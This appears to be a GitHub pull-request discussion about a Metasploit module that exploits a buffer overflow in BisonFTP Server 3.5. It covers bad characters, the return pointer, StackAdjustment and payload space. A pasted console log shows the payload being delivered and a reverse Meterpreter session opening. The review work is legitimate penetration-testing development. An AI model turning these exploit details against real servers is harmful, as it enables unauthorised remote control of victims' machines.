Create bison_ftp_bof.rb (Bisonware BisonFTP Server 3.5 BoF)

[shipcod3]

This module exploits a buffer overflow vulnerability in Bisonware BisonFTP Server 3.5 and tested on Windows XP Service Pack 3 EN.

An original msf has been created by veerendragg but it's kinda unreliable and was not pushed on this repo. It is because of the FTP's prompt as shown on the image below wherein you need to login again in order to trigger the exploit. I added a check method and some fixes for the original msf and still using the same offset and return pointer
.

PoC:

[OJ]

If the RET contains a NULL byte, why is \x00 included in badchars?

[shipcod3]

seems to be working though, if I removed the NULL byte, the exploit doesn't work.

[OJ]

Interesting. So perhaps the 39 bytes at the end of the exploit aren't required then?

[shipcod3]

yep you are right, I will remove that then.

[shipcod3]

Will do some changes then :)

[OJ]

@shipcod3 Roger! Thanks for the submission :)

[shipcod3]

@OJ thanks for the review too 👍

[Dhamuharker]

thanks 👍

[shipcod3]

@OJ done changing the NOP to constant value and the exploit seems to work.

[wchen-r7]

Looks like @OJ got most of this reviewed/vetted. I think I'll grab this and test it tomorrow, and if it works for me I'll land it... sounds good?

[OJ]

@shipcod3 Thanks for the fixes. Looks like there's a few formatting things left, but I'm sure @wchen-r7 will help there.

@wchen-r7 thanks mate. I did a review, but haven't had the chance to test. Thanks for taking it on!

[shipcod3]

@OJ and @wchen-r7 you guys rock :)

[wchen-r7]

Hmmm, not working for me:

[shipcod3]

Hmm looks like it only crashed the application. Here is mine:

After sending the exploit and gaining a meterpreter:

Can you try again I added 'StackAdjustment' => -3500.

[shipcod3]

I also modified the space to 310 and verified it. The exploit still works

[wchen-r7]

@shipcod3 Better now, got a shell:

msf exploit(bison_ftp_bof) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Connecting to FTP server 192.168.1.80:21...
[*] Connected to target FTP server.
[*] Triggering the prompt for an unregistered product
[*] Disconnecting...
[*] Connecting for the second time to deliver our payload...
[*] Connecting to FTP server 192.168.1.80:21...
[*] Connected to target FTP server.
[*] Sending payload...
[*] Sending stage (957486 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1264) at 2015-11-24 22:50:50 -0600

meterpreter >

[shipcod3]

@wchen-r7 alright, cool :)